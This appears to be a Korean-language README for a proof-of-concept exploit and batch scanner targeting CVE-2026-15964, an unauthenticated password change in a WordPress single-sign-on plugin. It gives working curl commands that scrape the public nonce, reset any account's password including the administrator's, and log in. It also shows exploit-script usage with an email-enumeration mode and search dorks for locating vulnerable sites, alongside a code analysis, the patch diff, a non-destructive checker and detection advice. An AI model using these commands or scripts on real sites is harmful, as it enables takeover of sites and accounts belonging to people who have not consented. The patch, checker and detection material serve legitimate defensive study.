
CVE-2026-15964용 PoC 및 검사기 - WordPress 플러그인 Single Sign On For TNG <= 2.0.0의 인증되지 않은 비밀번호 변경 (CVSS 9.8)
검증되지 않은 비밀번호 변경을 통한 인증되지 않은 권한 상승 WordPress 플러그인 Single Sign On For TNG에서 발생합니다.
| 심각도 | Critical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (검증되지 않은 비밀번호 변경) |
| 영향 범위 | 플러그인 버전 1.0.0 ~ 2.0.0 |
| 수정 버전 | 2.1.0 (2026-07-27 출시) |
| 공개일 | 2026-08-01 |
| 인증 요구 | 없음 (wp_ajax_nopriv_ssoprocess_ajax) |
| 영향 | 관리자를 포함한 모든 WordPress 계정의 비밀번호 변경 가능 - 완전한 사이트 장악 |
| 플러그인 | https://wordpress.org/plugins/single-sign-on-for-tng/ |
인증되지 않은 모든 방문자가 2.0.0 이하 버전의 플러그인을 실행 중인 사이트의 모든 계정 비밀번호를 변경할 수 있습니다. HTTP 요청 두 번이면 됩니다:
SSOPWDREQUIREMENT JavaScript 객체에서 nonce를 복사합니다.operation=setnewpassword, 피해자 이메일, 새 비밀번호와 함께 admin-ajax.php로 POST합니다.나머지는 WordPress 코어의 reset_password()가 처리합니다. 토큰도, 이메일 확인 링크도, 권한 검사도 없습니다. 이후 관리자로 로그인하면 됩니다.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
single-sign-on-for-tng.php(v2.0.0)에서:
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_*는 세션 없이도 핸들러에 접근할 수 있음을 의미합니다.
load_scripts()는 wp_enqueue_scripts에 연결되어 있으므로 모든 프런트엔드 페이지에서 플러그인은 다음을 HTML에 출력합니다:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
다음과 같이 렌더링됩니다:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
그리고 핸들러는 다음과 같이 검증합니다:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
문제는 이렇습니다: WordPress는 uid와 세션 토큰을 사용해 wp_create_nonce($action)으로 nonce를 계산합니다. 로그아웃된 방문자의 경우 이 값은 0과 빈 문자열이므로, 모든 익명 방문자는 똑같은 nonce를 받습니다. nonce는 12시간마다만 다시 생성됩니다(nonce tick). 따라서 플러그인이 어떤 방문자에게 출력하는 nonce는 공격자에게도 유효합니다. 훔칠 비밀이 없으며, 페이지 자체에 공개되어 있습니다.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password()는 WordPress 코어 함수입니다. 새 해시를 설정하고, 피해자를 다른 모든 세션에서 로그아웃시키며, password_reset / after_password_reset 액션을 발생시킵니다. 이 함수는 호출자가 계정 소유자임을 증명하는 어떤 것도 없이 호출됩니다.
알아둘 만한 추가 사항 두 가지:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC 규칙은 Forminator 폼용 validate_form()에서만 적용되며, 여기서는 절대 적용되지 않습니다. 어떤 비밀번호든 허용됩니다.{"success":true}와 {"success":false}를 비교하면 이메일이 등록되어 있는지 알 수 있습니다. 체커의 --enum-only 모드가 이를 활용합니다.operation=set_tzoffset은 인증 없이 update_option('localtzoffset', $post['timezoneoffset'])을 호출합니다. RCE로 직접 악용할 수는 없지만, 인증되지 않은 옵션 쓰기이므로 writeup에서 언급할 가치가 있습니다.2.0.0과 2.1.0을 비교하면 수정 사항이 명확해집니다(그리고 버그도 확인됩니다):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
그리고 newpasswordform()에서:
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
따라서 2.1.0에서는 흐름이 이렇습니다: 실제 복구 요청이 사용자 메타에 사용자별 custom_recovery_token + custom_recovery_nonce를 저장하고, 복구 링크가 사용자 ID를 전달하며, 폼이 둘 다 검증하고, AJAX 핸들러는 복구 기간(timeout)이 만료되면 실행을 거부합니다. 유효한 복구 레코드를 만들 수 없는 공격자는 더 이상 setnewpassword를 실행할 수 없습니다.
1단계 - nonce 스크래핑
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
2단계 - 비밀번호 변경
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
취약한 설치 환경에서 예상되는 응답: {"success":true}
3단계 - 로그인
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.py단일 사이트 익스플로잇. 비파괴 모드 포함.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.py자체 사이트 목록을 위한 배치 스캐너입니다. 설계상 비파괴적 - 비밀번호를 절대 변경하지 않습니다.
각 사이트를 분류하는 방법:
SSOPWDREQUIREMENT 객체 또는 /wp-content/plugins/single-sign-on-for-tng/ 에셋 경로.readme.txt의 Stable tag: 줄. <= 2.0.0이면 취약, >= 2.1.0이면 패치됨. CVE 기준으로 가장 신뢰할 수 있는 방법입니다.--probe, 버전을 읽을 수 없을 때만) - 존재하지 않는 이메일로 operation=setnewpassword를 POST합니다. 2.0.0 설치 환경은 오류 메시지 없이 {"success":false}로 응답하고, 2.1.0 설치 환경은 "time to submit the new password expired" 메시지로 응답합니다. 실제 이메일은 절대 전송되지 않습니다. 전송하면 실제로 비밀번호가 초기화되기 때문입니다.# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
출력 예시:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
판정: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN은 일반적으로 WAF, 공격적인 CDN 캐시 또는 readme를 차단하는 사이트를 의미합니다. 수동으로 확인하세요.
tests/mock_server.py는 여섯 가지 경우를 에뮬레이션합니다(버전 기준 취약, 버전 기준 패치, 프로브 기준 취약, 프로브 기준 패치, 플러그인이 없는 WordPress, WordPress 아님). 실제 환경을 대상으로 하기 전에 체커 로직을 검증한 방법입니다:
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt로 유일한 의존성(requests)을 설치할 수 있습니다.
솔직한 맥락입니다. 이 도구를 사용하는 방식에 영향을 주기 때문입니다.
inurl:"single-sign-on-for-tng", 전체 페이지 소스를 인덱싱하는 검색 엔진(PublicWWW, Censys, FOFA)의 "SSOPWDREQUIREMENT", 그리고 TNG 커뮤니티 자체(tngsitebuilding.com, 족보 포럼)입니다.UNKNOWN 항목이 상대적으로 많을 것입니다. 많은 사이트가 공격적인 캐싱 뒤에서 실행되거나 readme.txt를 차단합니다. 이를 "취약하지 않음"으로 해석하지 말고 수동으로 확인하세요.action=ssoprocess_ajax admin-ajax.php POST를 거부하고, 익명 소스의 setnewpassword에 대해 경고를 발생시키세요.wp_users.user_pass 해시 변경과 password_reset / after_password_reset 액션을 모니터링하고, 비밀번호 변경 직후의 관리자 로그인을 주시하세요.ssoajaxnonce를 공개 정보로 취급하세요. 실제로 항상 그래왔습니다.이 저장소는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 본인의 행동에 대한 책임은 본인에게 있습니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 이러한 도구를 실행하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 대부분의 국가에서 범죄입니다.